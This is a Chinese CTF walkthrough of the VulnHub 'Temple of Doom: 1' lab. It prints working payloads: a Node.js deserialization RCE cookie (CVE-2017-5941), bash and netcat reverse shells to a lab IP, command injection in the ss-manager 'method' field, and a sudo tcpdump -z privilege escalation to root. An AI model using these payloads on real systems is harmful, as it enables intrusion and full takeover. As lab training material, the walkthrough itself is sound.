VulnHub-Temple of Doom: 1-靶机渗透学习
2021-01-11 00:53:26 Author: www.freebuf.com(查看原文) 阅读量:182 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/

靶机难度:中级(CTF)

靶机发布日期:2018年6月8日

靶机描述:

由https://twitter.com/0katz创建的CTF

]难度:简单/中级

在VirtualBox中测试

注意:2种扎根方法

目标:得到root权限&找到flag.txt

作者:DXR嗯嗯呐

信息收集

nmap扫描IP

1610299152_5ffb3710ea1916d9206ad.png!small?1610299153641

nmap端口扫描

1610299164_5ffb371c1be7605881965.png!small?1610299164078

22 ssh

666 Express 是一个保持最小规模的灵活的 Node.js Web 应用程序开发框架,为 Web 和移动应用程序提供一组强大的功能。

访问80端口

1610299169_5ffb3721e3c54b19c8c53.png!small?1610299169857

没有获得有用的信息,使用dirb,nikto扫描,结果也没发现什么

1610299179_5ffb372b426bff4215b45.png!small?1610299179247

1610299185_5ffb3731df18578bc148c.png!small?1610299186543

Node.js远程命令执行漏洞

不知道怎么办了,使用burpsuite抓一下包看看吧

1610299193_5ffb37398bb17a0b551f9.png!small?1610299193598

看到了cookie的值可能是一个base64编码

1610299218_5ffb375243c13e0b89ecd.png!small?1610299218484

界面获得一个json字符串感觉格式不完整,修改一下

解码后

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMTIn0%3D

修改后

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}

重新编码提交,获得一个界面

1610299227_5ffb375b60014fcf4478b.png!small?1610299227329

加上cookie使用dirb扫描依然失败,看了看老人们的,发现这里是考Node.js反序列化远程代码执行(CVE-2017-5941)这个漏洞

大佬写的很具体

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(error,stdout,stderr)=>{console.log(stdout)}); }()"}

  • child_process是node.js中的一个模块,它以类似于popen(3)的方式生成子进程。
  • child_process.exec 使用子进程exec执行命令,缓存子进程的输出,并将子进程的输出以回调函数参数的形式返回。

编译后

eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGUsb3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQo=

1610299408_5ffb381015e5cea28130d.png!small?1610299408371

获得用户名 nodeadmin

直接使用bash获得反弹shell

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/192.168.56.3/5555 0>&1',(error,stdout,stderr)=>{console.log(stdout)}); }()"}

1610299347_5ffb37d344dfda017d769.png!small?1610299348427

ss-mannagen命令执行漏洞

测试几个提权脚本都不行,去home目录看到了fireman用户

1610299425_5ffb38219d1a42eaee9cd.png!small?1610299425534

但是没有权限,看看怎么越权获得fireman用户权限,发现此用户启动了ss-manager进程

Ss-manager是一款由ss团队开发的多用户管理面板程序。

1610299433_5ffb38296809d0fea77a0.png!small?1610299433399

找到ss-manager命令执行漏洞 参考

接下来利用此漏洞

1610299461_5ffb3845b447f9ff52c0a.png!small?1610299461841

看一下存不存在8839端口

1610299467_5ffb384b16f3fee1fbb24.png!small?1610299467036

直接nc连接

nc -u 127.0.0.1 8839

  • -u : UDP模式

1610299472_5ffb3850e67a31790997c.png!small?1610299472883

配置JSON,执行命令,在tmp创建evil文件

add: {"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}

1610299521_5ffb388167bc7c0cdec7c.png!small?1610299521375

创建成功

1610299526_5ffb3886ce58b3d6ed62d.png!small?1610299526896

使用bash,获得反弹shell

add: {"server_port":8003, "password":"test", "method":"||bash -i >& /dev/tcp/192.168.56.3/6666 0>&1|"}

1610299537_5ffb3891cbecf0f2a3078.png!small?1610299537806

1610299541_5ffb3895a9e14a03dea1c.png!small?1610299541598

在root目录下,但是没有权限

1610299547_5ffb389b1bc3eb8b64691.png!small?1610299546959

tcpdump命令执行

检查发现fireman具备sudo权限

1610299551_5ffb389fe7f83c4944443.png!small?1610299551951

使用tcpdump,可以用于远程代码执行

echo "nc  -e /bin/bash 192.168.56.3 7777 "> shell.sh

chmod +x shell.sh

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root

  • -i : 指定监听的网络接口
  • -w : 直接将包写入文件中,并不分析和打印出来
  • -W :与-C选项一起使用时,这会将创建的文件数量限制为指定的数字,并从头开始覆盖文件,从而创建“旋转”缓冲区。另外,它将命名带有足够前导0的文件以支持最大数量的文件,使它们能够正确排序。与-G选项一起使用时,这将限制创建的旋转转储文件的数量,在达到限制时以状态0退出。如果与-C一起使用,则行为将导致每个时间片的循环文件。
  • -G:如果指定,则每rotate_seconds秒旋转使用-w选项指定的转储文件。保存文件将具有由-w指定的名称,该名称 应包含由strftime(3)定义的时间格式。如果没有指定时间格式,则每个新文件都将覆盖前一个。如果与-C选项一起使用,则文件名将采用“ file <count>”的形式。
  • -z :  与-C或-G选项一起使用,这将使tcpdump运行“ 命令文件 ”,其中文件是每次旋转后关闭的保存文件。例如,指定-z gzip或-z bzip2将使用gzip或bzip2压缩每个保存文件。
  • 请注意,tcpdump将与捕获并行地运行命令,使用最低优先级,这样不会干扰捕获过程。
  • 如果你想使用一个本身带有标志或不同参数的命令,你总是可以编写一个shell脚本,将savefile的名字作为唯一的参数,使标志和参数安排并执行你想要的命令。
  • -Z : 删除权限(如果是root)并将用户标识更改为用户,将组标识更改为主要用户组。这种行为默认是启用的(-Z tcpdump),可以通过-Z root来禁用。

将nc反弹shell写入sh文件,赋执行权限,通过tcpdump执行反弹shell,获得root权限

1610299620_5ffb38e4a97b96448ebd0.png!small?1610299620696

1610299628_5ffb38ec473ce38ecd2f4.png!small?1610299628198

获得完整的tty,获得flag

1610299634_5ffb38f232fbe1131ce34.png!small?1610299634208

1610299638_5ffb38f6e48c1167bdafa.png!small?1610299639084

完成!!!

总结:

1、使用nmap发现22、666端口,访问666端口发现cookie不完整,修复获得返回。

2、利用Node.js远程代码执行漏洞,获得nodeadmin用户权限。

3、发现fireman用户执行了ss-manager进程,通过利用ss-manager命令执行漏洞,获得用户权限。

4、发现fireman具备sudo权限,利用tcpdump执行命令,获得root权限。


文章来源: https://www.freebuf.com/articles/web/260403.html
如有侵权请联系:admin#unsafe.sh